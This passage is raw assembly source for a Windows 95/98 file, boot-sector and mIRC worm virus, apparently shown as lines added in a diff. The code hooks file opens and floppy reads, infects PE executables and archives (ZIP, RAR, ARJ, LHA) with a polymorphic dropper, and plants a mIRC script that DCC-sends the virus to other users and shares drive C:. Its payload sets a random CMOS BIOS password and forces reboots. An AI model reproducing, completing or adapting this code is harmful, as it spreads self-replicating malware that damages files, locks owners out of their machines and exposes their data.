@1: + lodsb + or al, al + jnz @2 + inc ecx + jmp @1 + @2: + or ecx, ecx + jz @4 + @5: + push eax + xor eax, eax + stosb + xchg eax, ecx + stosw + pop eax + @4: + stosb + @6: + cmp esi, edx + jbe @1 + @3: + pop edx + mov ecx, edi + sub ecx, edx + ret +EndProc Compress32 + + Killer db 'REVENGE.COM', 0 + + KCode Equ This Byte + Payload: + push 0f000h ;our copyrighted payload :) + pop es + xor di, di + mov cx, -1 + scan: + pusha + mov si, offset award + mov cx, 5 + repe cmpsb ;search ROM for AWARD signature + popa + jz award_psw + inc di + loop scan + mov ax, 002fh ;if not found, assume AMI BIOS + call read + mov bx, ax + mov al, 2dh + call step1 + or al, 00010000b ;Put a random password in CMOS + call step2 ;memory, for ask it always, + mov al, 2fh ;and correct checksum + mov dh, bl + call write + mov al, 3eh + call read + mov ah, al + mov al, 3fh + call read + mov bx, ax + mov ax, 0038h + call rndpsw + mov al, 39h + call rndpsw + mov dh, bh + mov al, 3eh + call write + mov dh, bl + mov al, 3fh + call write + jmp hehehe + award_psw: + mov ax, 002fh + call read + mov bx, ax ;Put the password in CMOS + mov al, 11h ;for AWARD BIOS machines + call step1 + or al, 00000001b + call step2 + mov al, 1bh + call step1 + or al, 00100000b + call step2 + mov al, 2fh + mov dh, bl + call write + mov al, 7dh + call read + mov ah, al + mov al, 7eh + call read + mov bx, ax + mov ax, 0050h + call rndpsw ;for ask always, and correcting + mov al, 51h ;the checksum, of course :) + call rndpsw + mov dh, bh + mov al, 7dh + call write + mov dh, bl + mov al, 7eh + call write + hehehe: + sti ;reboot machine, so the user + mov al, 0feh ;notice the payload soon ;) + out 64h, al + jmp hehehe + read: + and al, 7fh ;CMOS read + out 70h, al + jmp $+2 + jmp $+2 + in al, 71h + ret + write: + and al, 7fh ;CMOS write + out 70h, al + jmp $+2 + mov al, dh + out 71h, al + ret + rndpsw: ;make random password but + mov dh, al ;mantain correct checksum + call read + sub bx, ax + in al, 40h + add bx, ax + xchg al, dh + call write + ret + step1: + mov dh, al ;checksum + call read + sub bx, ax + ret + step2: ;checksum + add bx, ax + xchg al, dh + call write + ret + award db 'AWARD' + KCodeSize Equ $ - KCode + + + ScriptSize Equ ScriptIniEnd - ScriptIni + ScriptIni: + [script] + n0=run $mircdirinca.exe ;run virus dropper when mIRC + ;start + n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt } + n2= /dcc send $nick $mircdirscript.ini + n3= /dcc send $nick $mircdirinca.exe + n4=} + n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt } + n6= /dcc send $nick $mircdirscript.ini + n7= /dcc send $nick $mircdirinca.exe + n8=} ;on /JOIN and /LEAVE, we send + ;the script and the virus + ;dropper to the target + n9=ON 1:TEXT:*el_inca*:#:/run $mircdirrevenge.com + ;when this is said, the souls + ;of thousands of dead Inca + ;indians come to take revenge + n10=ON 1:TEXT:*ancev*:#:/fserve $nick 666 c:\ + ;just for the case that the + ;host have something i want ;) + n11=ON 1:TEXT:*_29A_*:#:/quit + ;everybody bow in awe before + ;our power!! + ScriptIniEnd Equ This Byte + + ScriptName db 'SCRIPT.INI', 0 + + ScriptName2 db 'SCRIPT.OLD', 0 + + MircIni db 'MIRC.INI', 0 + + InsertSize Equ IMircIniEnd - IMircIni + IMircIni: + db 13, 10 ;this is inserted in MIRC.INI + db '[fileserver]', 13, 10 ;to avoid warnings when we + db 'Warning=Off', 13, 10 ;start the /FSERVER + IMircIniEnd Equ This Byte + + + +BeginProc FONO98_Device_Init + VMMCall Close_Boot_Log + xor al, al + mov [OurFile], al + mov [UpDown], al + mov [Compressed], al + mov [FloppyInUse], al ;init flags + in ax, 40h + ror eax, 16 + in ax, 40h + mov dword ptr [seed], eax ;init rnd seed + mov esi, offset32 ScriptIni + mov edi, esi + mov ecx, ScriptSize + DecriptScript: + lodsb + not al ;decript viral script.ini + stosb + loop DecriptScript + GetPathToVMM: + cld + VMMCall Get_Exec_Path + jc ErrorDone + mov edi, edx + mov ecx, 0ffh + xor al, al + repne scasb ;find end of string + sub edi, edx + mov ecx, edi + mov edi, edx + mov esi, offset32 VMM32Path + pushad + xchg esi, edi + push ecx + rep movsb ;copy it to our buffer + std ;(next time i will use + pop ecx ;GetSystemPath, i swear ;) + mov al, "\" + repne scasb + cld + inc edi + inc edi + DeleteFloppyVxD: + pushad + mov esi, offset32 FloppyVxD + mov ecx, SizeFloppyVxDName + rep movsb ;HSFLOP.PDR + mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES + xor ecx, ecx + mov esi, offset32 VMM32Path + VxDCall IFSMgr_Ring0_FileIO ;kill attribs and delete the + mov eax, R0_DELETEFILE ;32bit driver for floppies + VxDCall IFSMgr_Ring0_FileIO + popad + CopyMyVxDName: + mov esi, offset32 MyVxDName + mov ecx, SizeVxDName + rep movsb ;append viral vxd and path + popad + ReadVxDAndCompress: + mov eax, R0_OPENCREATFILE + mov ebx, 0ff00h + xor ecx, ecx + mov edx, 1 + VxDCall IFSMgr_Ring0_FileIO + jc ErrorDone ;autopen vxd + mov ebx, eax + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + jc ErrorDone + mov [VxDOriginalSize], ax + mov [VxDSize2], ax + mov ecx, eax + call AllocMemory ;alloc some memory and read + jz ErrorDone ;our vxd to this buffer + mov [BufferOneHandle], eax + mov esi, eax + mov eax, R0_READFILE + xor edx, edx + VxDCall IFSMgr_Ring0_FileIO + jnc NoError + ErrorFreeBlock: + mov eax, [BufferOneHandle] + call DeAllocMemory + jmp ErrorDone + NoError: + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO + mov ecx, (512*18)*2 + call AllocMemory + jz ErrorDone + mov [BufferTwoHandle], eax + mov esi, [BufferOneHandle] + mov edi, eax + mov [VxDCompressedBuffer], edi + call Compress32 ;compress VXD using a simple + mov [VxDCompressSize], cx ;RLE scheme + mov [VxDCompressedSize], ecx + mov [VxDSize1], cx + mov esi, [BufferOneHandle] + push esi + mov byte ptr [maq], 0 + call gldr ;make poly boot (16bit) + pop ecx + xchg ecx, edi + sub ecx, edi + mov [PolyBootSize], ecx + mov edx, [BufferOneHandle] + push HEAPNOCOPY + push ecx + push edx + VMMCall _HeapReAllocate ;set buffer to right size + add esp, 12 + mov [PolyBootBuffer], eax + mov ecx, 20000 + call AllocMemory + jz ErrorDone + mov esi, eax + push eax + mov byte ptr [maq], -1 + call gldr ;generate file poly (16bit) + mov ah, byte ptr [key] + mov esi, offset32 Loader + mov ecx, LoaderSize + DosEncriptLoop: + lodsb + xor al, ah + stosb + loop DosEncriptLoop ;encript loader + mov esi, [VxDCompressedBuffer] + mov ecx, [VxDCompressedSize] + DosEncriptLoop2: + lodsb + xor al, ah + stosb + loop DosEncriptLoop2 ;zopy and encript vxd + pop ecx + mov edx, ecx + xchg ecx, edi + sub ecx, edi + mov [PolyDOSFileSize], ecx + mov [PEDOSSize], ecx + push HEAPNOCOPY + push ecx + push edx + VMMCall _HeapReAllocate + add esp, 12 + mov [PolyDOSFileBuffer], eax + mov ecx, 40000 + call AllocMemory + jz ErrorDone + mov edi, eax + mov ecx, [PolyDOSFileSize] + add ecx, PELoaderSize + call peng ;make our cool PE poly (32bit) + push HEAPNOCOPY + mov [PolyPESize], ecx + push ecx + push edx + VMMCall _HeapReAllocate + add esp, 12 + mov [PolyPEBuffer], eax + InstallAPIHook: + mov eax, offset32 FONO98_File_System + push eax ;install our file hook + VxDCall IFSMgr_InstallFileSystemApiHook + add esp, 4 + mov [NextHook], eax + InstallV86Hook: + mov eax, 13h ;install our disk hook + mov esi, offset32 FONO98_Disk_System + VMMCall Hook_V86_Int_Chain + clc + db 0b0h ;from here, is a mov al, xx + ErrorDone: + db 0fdh ;from here, is a stc ;) + ret +EndProc FONO98_Device_Init + + + +BeginProc FONO98_Disk_System + pushad + cmp [FloppyInUse], 0 + jne Exit13Error ;dont reenter + inc [FloppyInUse] + cmp [OurFile], 0 ;we're infecting? + jnz Exit13 + movzx eax, word ptr [ebp.Client_AX] + movzx ecx, word ptr [ebp.Client_CX] + movzx edx, word ptr [ebp.Client_DX] + cmp ax, 201h + jne Exit13 + cmp cx, 1 + jne Exit13 + or dx, dx + jnz Exit13 ;if not floppy boot, exit + InfectBoot: + mov ebx, offset32 SectorBuffer + VxDInt 13h + jc Exit13 + mov ax, word ptr [ebx] + cmp al, 0ebh ;if sector dont start with a + jne Exit13 ;short jump, bail out + movzx eax, ah + lea eax, [ebx+eax+2] ;calculate destination of + cmp word ptr [ebx+1feh], 0aa55h ;jump(to insert out code) + jne Exit13 + cmp word ptr [ebx.bpb_t_s], 2880 ;is a valid 1.44 floppy? + jne Exit13 + sub word ptr [ebx.bpb_t_s], 18*2 ;steal 36 sectorz + push eax + mov ecx, [PolyBootSize] + add eax, ecx + sub eax, ebx + cmp eax, 510 + pop edi + jae Exit13 ;will our code use more space + mov esi, [PolyBootBuffer] ;than we have? + rep movsb + mov eax, 301h ;write our cool boot sector + inc ecx + VxDInt 13h + jc Exit13 + mov eax, 312h + sub edx, edx + mov ecx, 4f01h + mov ebx, [VxDCompressedBuffer] + VxDInt 13h ;write first part of compressed + jc Exit13 ;VXD + mov eax, 312h + mov edx, 100h + mov ecx, 4f01h + mov ebx, [VxDCompressedBuffer] + add ebx, 512*18 ;write the second part of it + VxDInt 13h + jc Exit13 + mov eax, 0302h + mov edx, 0100h + mov ecx, 000fh ;write loader to the end of the + mov ebx, offset32 BootLoader ;root directory + VxDInt 13h + jc Exit13 + Exit13: + mov [FloppyInUse], 0 + Exit13Error: + popad + stc ;service not finished + ret +EndProc FONO98_Disk_System + + + +BeginProc FONO98_File_System, High_Freq + push ebp + mov ebp, esp + sub esp, 20h + cmp [ebp+12], IFSFN_Open + jne ExitNow ;only hook FileOpenz + WeAreUsingAPI: + cmp [OurFile], 0 + jnz ExitNow ;recursive? + inc [OurFile] + GetPlainName: + pushad + mov ebx, offset32 FileName + mov eax, [ebp+16] + cmp al, -1 + je NoDrive + add al, "@" + mov byte ptr [ebx], al ;if drive specificated, + inc ebx ;get it + mov byte ptr [ebx], ":" + inc ebx + NoDrive: + push BCS_WANSI + push 255 + mov eax, [ebp+28] + mov eax, [eax+0ch] + add eax, 4 + push eax + push ebx + VxDCall UniToBCSPAth ;make UNICODE a ASCII in our + add sp, 16 ;buffer + mov esi, ebx + add esi, eax + sub ebx, 2 + mov byte ptr [esi], 0 + push esi + mov eax, R0_FILEATTRIBUTES+GET_ATTRIBUTES + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO + mov [FileAttr], ecx ;save attributes + jc ExitCorrect + mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES + xor ecx, ecx + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO ;kill attributes + pop esi + cmp dword ptr [esi-8], '23CR' + jne NomIRC ;we're opening MIRC32.EXE?? + cmp word ptr [esi-10], 'IM' + jne NomIRC + cmp dword ptr [esi-4], 'EXE.' + jne NomIRC + DropWorm: + pushad + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + mov cx, 01b + mov edx, 11h + mov esi, offset32 Killer ;create our payload file + VxDCall IFSMgr_Ring0_FileIO + mov ebx, eax + jc ErrorWorm + mov eax, R0_WRITEFILE + mov esi, offset32 KCode ;write payload code to it + mov ecx, KCodeSize + sub edx, edx + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO ;close it + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + xor cx, cx + mov edx, 11h + mov esi, offset32 MircIni ;open MIRC.INI + VxDCall IFSMgr_Ring0_FileIO + mov ebx, eax + jc ErrorWorm + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + jc ErrorWorm + mov edx, eax + mov eax, R0_WRITEFILE + mov esi, offset32 IMircIni ;set /FSERVER warnings off, so + mov ecx, InsertSize ;we can access this machine + VxDCall IFSMgr_Ring0_FileIO ;with impunity ;) + jc ErrorWorm + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + mov ecx, 01b + mov edx, 11h + mov esi, offset32 ScriptName2 ;create SCRIPT.NOT, to avoid + VxDCall IFSMgr_Ring0_FileIO ;build-in worm defense in + jc ErrorWorm ;mIRC + mov ebx, eax + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + mov ecx, 01b + mov edx, 11h ;create SCRIPT.INI + mov esi, offset32 ScriptName + VxDCall IFSMgr_Ring0_FileIO + jc ErrorWorm + mov ebx, eax + mov eax, R0_WRITEFILE + xor edx, edx + mov esi, offset32 ScriptIni ;write our inet spreading worm + mov ecx, ScriptSize ;and get ready to travel! :) + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + mov ecx, 01b + mov edx, 11h + mov esi, offset32 IncaName ;create virus dropper for inet + VxDCall IFSMgr_Ring0_FileIO ;spreading + jc ErrorWorm + mov ebx, eax + mov eax, R0_WRITEFILE + xor edx, edx + mov esi, [PolyDOSFileBuffer] + mov ecx, [PolyDOSFileSize] + VxDCall IFSMgr_Ring0_FileIO ;write dropper code + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO ;close it + ErrorWorm: + popad + NomIRC: + mov eax, dword ptr [esi-4] + not eax ;get extension(with little + cmp eax, not 'AHL.' ;encription to avoid lamerz) + je LHAInfect + cmp eax, not 'HZL.' + je LHAInfect + cmp eax, not 'KAP.' + je LHAInfect + cmp eax, not 'PIZ.' ;if archivers, go drop virus + je InfectZIP + cmp eax, not 'JRA.' + je InfectARJ + cmp eax, not 'RAR.' + je InfectRAR + cmp eax, not 'RCS.' + je InfectExecutableFile + cmp eax, not 'EXE.' ;if EXE or SCR, check for PE + jne ExitUnmark + + InfectExecutableFile: + mov eax, R0_OPENCREATFILE + mov ebx, 2 + xor cx, cx + mov edx, 11h + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO ;open probable host + mov [FileHandle], eax + jc ExitUnmark + mov ebx, eax + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + jc ExitClose + mov [FileSize], eax + cmp eax, MINSIZEINFECT + jb ExitClose ;if too small, exit + mov eax, R0_READFILE + mov esi, offset32 CrcTab + mov ecx, 1024 + xor edx, edx + VxDCall IFSMgr_Ring0_FileIO + jc ExitClose + cmp word ptr [esi], 'ZM' + je NEPECheck + cmp word ptr [esi], 'MZ' + jne ExitClose ;must be a EXE file + + NEPECheck: + mov eax, [FileSize] + cmp dword ptr [esi+3ch], 0 + jz ExitClose + cmp dword ptr [esi+3ch], eax ;probable PE sign in range? + ja ExitClose + + InfectPE: + cmp [esi+3ch], 1024 + jae ExitClose + lea eax, [esi+3ch] + add esi, [eax] + cmp dword ptr [esi], 'EP' ;must be a PE file + jne ExitClose + mov eax, R0_CLOSEFILE + mov ebx, [FileHandle] + VxDCall IFSMgr_Ring0_FileIO ;ready to infect, close file + mov ebp, 32*1024 + call VxDMapFile ;map file in memory + jc ExitUnmark + call InfectPEFile ;infect it! + call VxDUnMapFile + jmp ExitUnmark ;unmap file + + ;this code goes inserted in + ;PE filez, after the poly + PELoader: ;decription routine + call set_SEH + mov esp, [esp+8] + jmp ReturnHost ;if a fault happen, jump host + set_SEH: + xor edx, edx ;setup a SEH for us + push dword ptr fs:[edx] + mov dword ptr fs:[edx], esp + call PEDelta + PEDelta: + pop ebp + sub ebp, (offset32 PEDelta-offset32 PELoader) + call AnaliseKernel32 ;get GetModuleHandleA and + jc ReturnHost ;GetProcAddressA from kernel32 + ;export table + lea esi, [ebp+(offset32 NamePtr-offset32 PELoader)] + lea edi, [ebp+(offset32 FAdress-offset32 PELoader)] + cld + GetFunctionAdress: + lodsd + or eax, eax + jz EndTable + add eax, ebp + call MyGetProcAdress ;get RVA of all functionz we + jc ReturnHost ;need + stosd + jmp GetFunctionAdress + EndTable: + sub eax, eax + push eax + push 010b + push 2 ;create W95INCA.COM in root + push eax ;dir + push 3 + push 80000000h+40000000h + lea eax, [ebp+(offset32 PEName-offset32 PELoader)] + push eax + call dword ptr [ebp+(offset32 _CreateFile-offset32 PELoader)] + mov ebx, eax + inc eax + jz ReturnHost + push 0 + lea eax, [ebp+(offset32 nWrite-offset32 PELoader)] + push eax + mov eax, 12345678h + PEDOSSize equ dword ptr $-4 + push eax + mov eax, ebp + add eax, offset32 PELoaderSize ;write the DOS dropper in it + push eax + push ebx + call dword ptr [ebp+(offset32 _WriteFile-offset32 PELoader)] + push ebx ;close the file + call dword ptr [ebp+(offset32 _CloseHandle-offset32 PELoader)] + push 0 + lea eax, [ebp+(offset32 PEName-offset32 PELoader)] + push eax ;f0rk DOS process + call dword ptr [ebp+(offset32 _WinExec-offset32 PELoader)] + push 3000 ;have 3 seconds to run + call dword ptr [ebp+(offset32 _Sleep-offset32 PELoader)] + lea eax, [ebp+(offset32 PEName-offset32 PELoader)] + push eax ;delete the dropper + call dword ptr [ebp+(offset32 _DeleteFile-offset32 PELoader)] + ReturnHost: + xor edx, edx + pop dword ptr fs:[edx] + pop edx + mov eax, 12345678h ;set base + LoadBase equ dword ptr $-4 + add eax, 12345678h + OldIP equ dword ptr $-4 ;add host entry_point + push eax + ret + + AnaliseKernel32: + mov edx, 0bff70000h ;base of KERNEL32 in win95/98 + mov eax, edx + mov ebx, eax + add eax, [eax+3ch] + add ebx, [eax+120] + lea eax, [ebp+(offset32 gmh-offset32 PELoader)] + ;string is 17 bytes long + mov [ebp+(offset32 szSearch-offset32 PELoader)], 17 + ;and setup pointer + mov [ebp+(offset32 strSearch-offset32 PELoader)], eax + call SearchET ;search export tabel for it + jc a_error + mov dword ptr [ebp+(offset32 pGetModuleHandle-offset32 PELoader)], eax + lea eax, [ebp+(offset32 gpa-offset32 PELoader)] + ;string is 15 bytes long + mov [ebp+(offset32 szSearch-offset32 PELoader)], 15 + ;and setup pointer + mov [ebp+(offset32 strSearch-offset32 PELoader)], eax + call SearchET + jc a_error + mov dword ptr [ebp+(offset32 pGetProcAdress-offset32 PELoader)], eax + lea eax, [ebp+(offset32 kernel-offset32 PELoader)] + push eax + mov eax, [ebp+(offset32 pGetModuleHandle-offset32 PELoader)] + call eax ;get KERNEL32 module + mov dword ptr [ebp+(offset32 pKernel32Adress-offset32 PELoader)], eax + a_error: + ret + + MyGetProcAdress: + push eax + push dword ptr [ebp+(offset32 pKernel32Adress-offset32 PELoader)] + mov eax, [ebp+(offset32 pGetProcAdress-offset32 PELoader)] + call eax + or eax, eax ;call GetProcAddress to get + jz GPAError ;all RVA we need + test al, 12h + org $-1 ;the good'n'old trick again ;) + GPAError: + stc + ret + + SearchET: + mov eax, [ebx+32] ;search export table of + add eax, edx ;KERNEL32, searching the + ff: + mov esi, [eax] ;the names, then the ordinal + or esi, esi ;and, finally the RVA pointerz + jz fuck + add esi, edx + mov edi, 12345678h + strSearch equ dword ptr $-4 + mov ecx, 12345678h + szSearch equ dword ptr $-4 + rep cmpsb + jz found + add eax, 4 + jmp ff + found: + sub eax, [ebx+32] + sub eax, edx + shr eax, 1 + add eax, [ebx+36] + add eax, edx + movzx eax, word ptr [eax] + shl eax, 2 + add eax, [ebx+28] + add eax, edx + mov eax, [eax] + add eax, edx + mov cl, 12h + org $-1 + fuck: + stc + ret + +kernel db 'KERNEL32', 0 + +nWrite dd 0 + +pGetProcAdress dd 0 +pGetModuleHandle dd 0 +pKernel32Adress dd 0bff70000h + +gpa db 'GetProcAddress', 0 +gmh db 'GetModuleHandleA', 0 + +sCreateFile db 'CreateFileA', 0 +sWriteFile db 'WriteFile', 0 +sCloseHandle db 'CloseHandle', 0 +sWinExec db 'WinExec', 0 +sDeleteFile db 'DeleteFileA', 0 +sSleep db 'Sleep', 0 + +NamePtr equ this byte + dd (offset32 sCreateFile-offset32 PELoader) + dd (offset32 sWriteFile-offset32 PELoader) + dd (offset32 sCloseHandle-offset32 PELoader) + dd (offset32 sWinExec-offset32 PELoader) + dd (offset32 sDeleteFile-offset32 PELoader) + dd (offset32 sSleep-offset32 PELoader) + dd 0 + +PEName db 'C:\W95INCA.COM', 0 + +FAdress equ this byte +_CreateFile dd 0 +_WriteFile dd 0 +_CloseHandle dd 0 +_WinExec dd 0 +_DeleteFile dd 0 +_Sleep dd 0 + +PELoaderEnd equ this byte + +PELoaderSize equ offset32 PELoaderEnd - offset32 PELoader + + + InfectPEFile: + mov ebp, [esi+3ch] ;esi point to maped base + add ebp, esi ;ebp point to PE header + mov eax, 12345678h + cmp dword ptr [ebp+58h], eax ;is already infected? + mov dword ptr [ebp+58h], eax + je PE_done + mov eax, dword ptr [ebp+52] + cmp eax, 400000h ;normal base for appz + mov [LoadBase], eax + jne PE_done + movzx eax, word ptr [ebp+4h] + test eax, 2000h ;not infect DLL + jnz PE_done + movzx ecx, word ptr [ebp+6] ;numba of sectionz + mov eax, 40 + sub edx, edx + mul ecx + add eax, ebp + add eax, 24 + movzx ecx, word ptr [ebp+20] ;header size + add eax, ecx + mov edi, eax ;edi point to free entry + mov edx, eax + mov ecx, 40 + sub eax, eax + repz scasb ;is really a free entry? + jnz PE_done + inc word ptr [ebp+6] ;inc number of sectionz + call rnd ;make new name + and eax, 11b + add eax, 4 + mov ecx, eax + mov edi, edx + mName: + call rnd ;random letter for a random + and eax, 01111b ;name + add al, 'A' + stosb + loop mName + mov edi, edx + mov dword ptr [edi+36], 0e0000040h ;set section attribz + mov eax, [edi-40+12] ;prev virtual address + add eax, [edi-40+08] ;prev virtual size + call ObjAlign + mov [edi+12], eax ;virtual address + mov eax, [edi-40+16] ;prev offset to data + add eax, [edi-40+20] ;prev size of data + call FileAlign + mov [edi+20], eax ;offset to data + push eax + mov eax, [PolyPESize] + add eax, [totsize] + push eax + call ObjAlign + mov [edi+8], eax + add [ebp+80], eax + pop eax + call FileAlign + mov [edi+16], eax + mov eax, [edi+12] + mov ebx, [ebp+28h] + mov [ebp+28h], eax + mov [OldIP], ebx + mov eax, [edi+20] + add eax, [edi+16] + mov [VMF_size], eax + pop edi + add edi, [VMF_base] + mov esi, [PolyPEBuffer] + mov ecx, [PolyPESize] + rep movsb ;zopy PE poly to end of file + mov ecx, 30000h + call AllocMemory + push eax + push edi + push eax + mov edi, eax + mov esi, offset32 PELoader ;copy the PE loader + mov ecx, PELoaderSize + rep movsb + mov esi, [PolyDOSFileBuffer] + mov ecx, [PolyDOSFileSize] + rep movsb ;and the DOS loader + pop esi + pop edi + call encript_pe ;encript virus code + pop eax + call DeAllocMemory + inc dword ptr [VMF_sucess] ;is infected! + PE_done: + ret + +ObjAlign: + mov ecx, [ebp+56] + jmp AlignThis +FileAlign: + mov ecx, [ebp+60] + AlignThis: + xor edx, edx + div ecx + or edx, edx + jz sAlign ;dont waste aligns when isnt + inc eax ;need + sAlign: + mul ecx + ret + + + LHAInfect: + bt [FileAttr], 0 + jc ExitUnmark ;if read-only, exit + call PreparateDropper ;(is our marker) + dec ebp + mov edi, offset32 LHAFilename + call Random4Name ;create random name + mov ecx, [PolyDOSFileSize] + mov [LHACompressedSize], ecx + mov [LHAUncompressedSize], ecx + mov eax, R0_READFILE + mov ecx, 2 + mov edx, 3 + mov esi, offset32 Pad + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + xor eax, eax + xchg word ptr [esi], ax + cmp ax, 'hl' + jne ExitFree ;is really a LHA/LHZ shit? + xor ebx, ebx + mov ecx, LHAHeaderSize-2 + mov esi, offset32 LHAMethod + CheckSumLoop: + lodsb + add bl, al + loop CheckSumLoop ;funny header checksum loop + mov [LHAHeaderCRC], bl + mov eax, R0_WRITEFILE + mov ebx, [FileHandle] + mov ecx, LHAHeaderSize + mov esi, offset32 LHASig + mov edx, ebp + add ebp, ecx + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_WRITEFILE + mov ecx, [PolyDOSFileSize] + mov edx, ebp + add ebp, ecx + mov esi, [BufferOneHandle] + VxDCall IFSMgr_Ring0_FileIO ;write it + mov eax, R0_WRITEFILE + mov ecx, 1 + mov edx, ebp + mov esi, offset32 Pad + VxDCall IFSMgr_Ring0_FileIO + jmp ExitRO + + InfectZIP: + bt [FileAttr], 0 + jc ExitUnmark + call PreparateDropper ;create dropper + mov [ZIPRCRC32], eax + mov [ZIPLCRC32], eax + mov ecx, [PolyDOSFileSize] + mov [ZIPRCompressed], ecx + mov [ZIPRUncompressed], ecx ;set some ZIP stuff + mov [ZIPLCompressed], ecx + mov [ZIPLUncompressed], ecx + mov edi, offset32 ZIPRFileName + call Random4Name ;random name + mov eax, dword ptr [ZIPRFileName] + mov dword ptr [ZIPLFilename], eax + mov eax, R0_READFILE + mov ecx, ZIPEHeaderSize + sub ebp, ecx + mov edx, ebp + mov esi, offset32 ZIPReadBuffer + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + cmp word ptr [ZIPEHeaderId], 'KP' ;is a ZIP marker + jne ExitFree + cmp word ptr [ZIPSignature], 0605h + jne ExitFree + cmp dword ptr [ZIPNoDisk], 0 + jnz ExitFree + inc word ptr [ZIPEntryDisk] + inc word ptr [ZIPEntrysDir] + add dword ptr [ZIPSizeDir], ZIPRHeaderSize + mov eax, [ZIPOffsetDir] + mov [ZIPROffsetLHeaderR], eax + mov ebp, eax + mov ecx, [ZIPSizeDir] + call AllocMemory + jz ExitFree + mov [BufferTwoHandle], eax + mov esi, eax + mov eax, R0_READFILE + mov ecx, [ZIPSizeDir] + mov edx, ebp + VxDCall IFSMgr_Ring0_FileIO ;read tonz of headers and + jc ExitDealloc ;write they back after + cld ;modificationz + mov ecx, ZIPRHeaderSize ;(ZIP really sux) + mov edi, [BufferTwoHandle] + add edi, [ZIPSizeDir] + sub edi, ecx + mov esi, offset32 ZIPRHeaderId + rep movsb + mov eax, R0_WRITEFILE + mov ecx, offset32 ZIPReadBuffer-offset32 ZIPLHeaderId + mov edx, ebp + add ebp, ecx + mov esi, offset32 ZIPLHeaderId + VxDCall IFSMgr_Ring0_FileIO + jc ExitDealloc + mov eax, R0_WRITEFILE + mov ecx, [PolyDOSFileSize] + mov edx, ebp + add ebp, ecx + mov [ZIPOffsetDir], ebp + mov esi, [BufferOneHandle] + VxDCall IFSMgr_Ring0_FileIO + jc ExitDealloc + mov eax, R0_WRITEFILE + mov ecx, [ZIPSizeDir] + mov edx, ebp + add ebp, ecx + mov esi, [BufferTwoHandle] + VxDCall IFSMgr_Ring0_FileIO + jc ExitDealloc + mov eax, R0_WRITEFILE + mov ecx, ZIPEHeaderSize + mov edx, ebp + mov esi, offset32 ZIPReadBuffer + VxDCall IFSMgr_Ring0_FileIO + ExitDealloc: + mov eax, [BufferTwoHandle] + call DeallocMemory + jmp ExitRO + + InfectRAR: + bt [FileAttr], 0 + jc ExitUnmark ;bahh... the same shit, but + call PreparateDropper ;this time for RAR + mov [RARFileCRC], eax + mov edi, offset32 RARFileName + call Random4Name + mov ecx, [PolyDOSFileSize] + mov [RARCompressedSize], ecx + mov [RARUncompressedSize], ecx + mov eax, R0_READFILE + mov ecx, 4 + xor edx, edx + mov esi, offset32 Pad + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + cmp [esi], '!raR' + jne ExitFree + mov esi, offset32 RARHeaderType + mov edi, offset32 RARHeaderEnd-offset32 RARHeaderType + call CRC32 + mov [RARHeaderCRC], cx + mov eax, R0_WRITEFILE + mov ecx, offset32 RARHeaderEnd-offset32 RARHeaderCRC + mov esi, offset32 RARHeaderCRC + mov edx, ebp + add ebp, ecx + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_WRITEFILE + mov ecx, [PolyDOSFileSize] + mov edx, ebp + mov esi, [BufferOneHandle] + VxDCall IFSMgr_Ring0_FileIO + jmp ExitRO + + InfectARJ: + bt [FileAttr], 0 + jc ExitUnmark + call PreparateDropper ;uhh... again for ARJ + sub ebp, 4 + mov [ARJFileCRC], eax ;(i only do this because there + mov edi, offset32 ARJFilename ;stupid peoples that run new + call Random4Name ;strange filez) + mov ecx, [PolyDOSFileSize] + mov [ARJCompressedSize], ecx + mov [ARJUncompressedSize], ecx + mov eax, R0_READFILE + mov ecx, 2 + xor edx, edx + mov esi, offset32 Pad + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + cmp word ptr [esi], 0ea60h + jne ExitFree + mov edi, offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize + mov esi, offset32 ARJ1HeaderSize + call CRC32 + mov [ARJHeaderCRC], eax + mov eax, R0_WRITEFILE + mov ecx, offset32 ARJEnd-offset32 ARJHeaderId + mov esi, offset32 ARJHeaderId + mov edx, ebp + add ebp, ecx + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + mov eax, R0_WRITEFILE + mov ecx, [PolyDOSFileSize] + mov edx, ebp + add ebp, ecx + mov esi, [BufferOneHandle] + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + mov eax, R0_WRITEFILE + mov ecx, 4 + mov edx, ebp + mov esi, offset32 ARJEnd + VxDCall IFSMgr_Ring0_FileIO + + ExitRO: + or [FileAttr], 01b ;set inf marker(avoid lame + ExitFree: ;AVs like TBCLEAN, that cant + mov eax, [BufferOneHandle] ;clean r-o file) + call DeAllocMemory + ExitClose: + mov eax, R0_CLOSEFILE + mov ebx, [FileHandle] + VxDCall IFSMgr_Ring0_FileIO + ExitUnmark: + mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES + mov ecx, [FileAttr] + 